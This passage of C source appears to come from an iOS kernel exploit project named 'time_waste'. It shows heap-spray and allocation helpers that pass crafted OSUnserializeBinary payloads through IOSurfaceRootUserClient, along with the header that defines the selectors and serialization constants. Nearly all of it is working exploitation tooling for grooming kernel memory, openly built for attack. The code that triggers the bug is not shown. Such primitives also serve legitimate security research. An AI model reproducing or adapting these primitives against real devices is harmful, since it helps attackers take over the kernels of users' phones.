    args->binary[i++] = kOSSerializeArray | count;
    for (int c = 0; c < count; c++) {
        args->binary[i++] = kOSSerializeData | (size) | ((c == count - 1) ? kOSSerializeEndCollection : 0);
        memcpy(&args->binary[i], data, size);
        i += (size + 3)/4;
    }
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;
    
    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
}

int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {
    uint32_t capacity = size / 16;
    
    if (capacity > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;
    
    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeDictionary | capacity;
    args->binary[i++] = kOSSerializeSymbol | 4;
    args->binary[i++] = 0x00aabbcc;
    args->binary[i++] = kOSSerializeBoolean | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;
    
    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
}

int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key) {
    if (size < pagesize) {
        printf("[-][IOSurface] Size too small for kmem_alloc\n");
        return KERN_FAILURE;
    }
    if (size > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;
    
    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeData | size;
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;
    
    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
}

int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
    if (size < pagesize) {
        printf("[-][IOSurface] Size too small for kmem_alloc\n");
        return KERN_FAILURE;
    }
    if (size > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    if (count > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;
    
    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeArray | count;
    for (int c = 0; c < count; c++) {
        args->binary[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0);
        memcpy(&args->binary[i], data, size);
        i += (size + 3)/4;
    }
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;
    
    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
}


int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp) {
    uint64_t args[3] = {0};
    args[0] = surface_id;
    args[1] = index;
    args[2] = timestamp;
    kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_set_indexed_timestamp, args, 3, NULL, 0, NULL, NULL, NULL, NULL);
    return ret;
}

int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output) {
    uint64_t args[1] = {0};
    args[0] = surface_id;
    
    uint64_t out[1] = {0};
    uint32_t count = 1;
    
    kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_get_ycbcrmatrix, args, 1, NULL, 0, out, &count, NULL, NULL);
    if (ret) {
        return ret;
    }
    *output = (uint32_t)out[0];
    return 0;
}

void term_IOSurface() {
    if (IOSurfaceRoot) IOObjectRelease(IOSurfaceRoot);
    if (IOSurfaceRootUserClient) IOServiceClose(IOSurfaceRootUserClient);
    
    IOSurfaceRoot = 0;
    IOSurfaceRootUserClient = 0;
    IOSurface_ID = 0;
}

IOSurface_stuff.h

//
//  IOSurface_stuff.h
//  time_waste
//
//  Created by Jake James on 2/22/20.
//  Copyright © 2020 Jake James. All rights reserved.
//

#ifndef IOSurface_stuff_h
#define IOSurface_stuff_h

#import <stdio.h>
#import <stdlib.h>
#import <unistd.h>

#import <IOKit/IOKitLib.h>
#import <mach/mach.h>

#define IOSurfaceRootUserClient_release_surface_selector 1
#define IOSurfaceRootUserClient_create_surface_selector 6 // actually, this is the fast path version, normal one is selector 0
#define IOSurfaceRootUserClient_get_ycbcrmatrix 8
#define IOSurfaceRootUserClient_set_value_selector 9
#define IOSurfaceRootUserClient_get_value_selector 10
#define IOSurfaceRootUserClient_remove_value_selector 11
#define IOSurfaceRootUserClient_increment_use_count_selector 14
#define IOSurfaceRootUserClient_decrement_use_count_selector 15
#define IOSurfaceRootUserClient_set_notify_selector 17
#define IOSurfaceRootUserClient_set_indexed_timestamp 33

struct IOSurfaceFastCreateArgs {
    uint64_t address;
    uint32_t width;
    uint32_t height;
    uint32_t pixel_format;
    uint32_t bytes_per_element;
    uint32_t bytes_per_row;
    uint32_t alloc_size;
};

struct IOSurfaceLockResult {
    uint8_t _pad1[0x18];
    uint32_t surface_id;
    uint8_t _pad2[0xf60-0x18-0x4];
};

struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t field_4;
    union {
        uint32_t binary[0];
        char xml[0];
    };
};

struct IOSurfaceValueResultArgs {
    uint32_t field_0;
};


enum {
    kOSSerializeDictionary          = 0x01000000U,
    kOSSerializeArray               = 0x02000000U,
    kOSSerializeSet                 = 0x03000000U,
    kOSSerializeNumber              = 0x04000000U,
    kOSSerializeSymbol              = 0x08000000U,
    kOSSerializeString              = 0x09000000U,
    kOSSerializeData                = 0x0a000000U,
    kOSSerializeBoolean             = 0x0b000000U,
    kOSSerializeObject              = 0x0c000000U,
    
    kOSSerializeTypeMask            = 0x7F000000U,
    kOSSerializeDataMask            = 0x00FFFFFFU,
    
    kOSSerializeEndCollection       = 0x80000000U,
    
    kOSSerializeBinarySignature     = 0x000000d3U,
};

int init_IOSurface(void);
void term_IOSurface(void);

int release_IOSurface(io_service_t userclient, int surface_id);

int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size);
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size);
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size);

int IOSurface_remove_property(uint32_t key);
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key);
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key);

int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key);
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);

int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp);
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output);

extern uint32_t pagesize;
extern io_connect_t IOSurfaceRoot;
extern io_service_t IOSurfaceRootUserClient;
extern uint32_t IOSurface_ID;

#endif /* IOSurface_stuff_h */